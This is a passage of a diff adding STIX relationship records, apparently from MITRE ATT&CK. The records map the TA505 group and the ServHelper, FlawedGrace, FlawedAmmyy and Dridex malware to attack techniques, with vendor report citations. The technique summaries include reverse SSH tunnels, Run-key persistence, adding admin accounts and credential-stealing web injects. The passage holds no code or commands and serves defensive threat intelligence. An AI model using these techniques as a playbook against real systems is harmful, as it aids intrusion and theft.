"2019-05-29T12:47:44.943Z", + "id": "relationship--2f350d97-8492-4eb4-8640-2c3ae2bc8df1", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has leveraged rundll32.exe to execute malicious DLLs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T13:02:31.636Z", + "id": "relationship--841acdc1-42c3-4f7d-9840-c9e4057bc2ab", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.455Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has signed payloads with code signing certificates from Thawte and Sectigo.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T13:02:31.667Z", + "id": "relationship--badc4d79-2f59-4b9b-9044-9c53dcd386c0", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.399Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T13:40:48.666Z", + "id": "relationship--7575fb4d-0fa3-4a16-acb6-734841da41bc", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + }, + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) will attempt to enumerate the username of the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T13:53:36.660Z", + "id": "relationship--ab51438e-c79f-4fc5-b331-a85dc892b604", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) will attempt to enumerate Windows version and system architecture.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T13:53:36.685Z", + "id": "relationship--5faa7f83-062b-4821-ad9b-b731a41c06d9", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T13:53:36.696Z", + "id": "relationship--3fc0ea3d-0c51-4c2f-876d-912d08af32c2", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) has used port 80 and 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T13:53:36.701Z", + "id": "relationship--64c4dc50-e15f-4e44-aac3-0b700ceeea70", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.515Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) has a module to delete itself from the infected machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:17:51.202Z", + "id": "relationship--b70e627e-bd57-4e07-8e59-cb240034490a", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) contains a module for downloading and executing DLLs that leverages rundll32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:17:51.222Z", + "id": "relationship--ac43f0bd-db6c-4000-8efe-7f33520780d9", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) may download additional files to execute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:17:51.227Z", + "id": "relationship--435f910b-21a6-4814-b167-5262ca1e1e58", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) can execute shell commands against [cmd](https://attack.mitre.org/software/S0106).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:17:51.233Z", + "id": "relationship--1db2b844-8ace-46f3-a2f9-527e813f32b6", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.566Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:17:51.253Z", + "id": "relationship--608c5d3c-ba27-430d-8655-0ff7830fb5c5", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.592Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) may create a new account and add the new user to the \"Remote Desktop Users\" and \"Administrators\" groups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:17:51.256Z", + "id": "relationship--5db107fe-7b8d-4093-a551-492eb4a72ed9", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.614Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) may set up a reverse SSH tunnel to give the attacker access to services running on the victim, such as RDP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:17:51.281Z", + "id": "relationship--35bfe5a4-84ca-4601-82d8-073b1e384115", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.618Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) may attempt to establish persistence via the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:32:01.686Z", + "id": "relationship--62bf46b4-69b3-4a32-bcbb-c9d960e3039a", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) contains modules that will use [schtasks](https://attack.mitre.org/software/S0111) to carry out malicious operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:32:01.701Z", + "id": "relationship--d535f0e8-dc89-448c-828d-7464767a51a3", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "modified": "2019-06-07T20:33:39.619Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:33:43.929Z", + "id": "relationship--60026624-0ae9-439a-8ee8-faee7ce6ddf0", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.540Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) uses a custom binary protocol for its C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:48:20.998Z", + "id": "relationship--a09f7595-1281-4333-ac19-22c41da8c82d", + "source_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "modified": "2019-06-07T18:47:42.478Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) encrypts its C2 configuration files with AES in CBC mode.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-29T14:48:21.010Z", + "id": "relationship--67dbfc12-982f-4d14-a3d7-efa45644ecf3", + "source_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "modified": "2019-06-07T18:47:42.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has downloaded additional malware to execute on victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-30T16:43:10.132Z", + "id": "relationship--b3436a7d-81cf-4f79-9c74-e3b2370288d2", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the privilege level of the victim during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-30T17:23:30.514Z", + "id": "relationship--f54cba45-e641-49e0-b015-b5f6f8a05002", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.514Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-30T19:49:35.757Z", + "id": "relationship--1e7f0283-1aeb-4b9e-81e0-4aec48e30228", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.546Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Dridex](https://attack.mitre.org/software/S0384) contains a backconnect module for tunneling network traffic through a victim's computer. Infected computers become part of a P2P botnet that can relay C2 traffic to other infected peers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-31T13:57:57.245Z", + "id": "relationship--6f7ee9ba-fb3d-4f22-a78a-8003da718ec4", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "modified": "2019-05-31T15:35:30.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "description": "[Dridex](https://attack.mitre.org/software/S0384) can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-31T14:15:06.363Z", + "id": "relationship--3f3fffec-6c91-45e2-8c4c-d1c7bdcde76b", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "modified": "2019-05-31T15:35:30.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "[Dridex](https://attack.mitre.org/software/S0384) contains a module for VNC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-31T14:15:06.379Z", + "id": "relationship--11d5cf7f-7b0c-49b3-b8d0-9906f440d2d0", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "modified": "2019-05-31T15:35:30.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Dridex](https://attack.mitre.org/software/S0384) has encrypted traffic with RSA and RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-31T14:20:13.615Z", + "id": "relationship--0245022b-05ac-4d66-ae9f-e4c2f604c07a", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "modified": "2019-05-31T15:35:30.959Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Dridex May 2017", + "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.", + "url": "https://securelist.com/dridex-a-history-of-evolution/78531/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Dridex](https://attack.mitre.org/software/S0384) has used HTTPS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 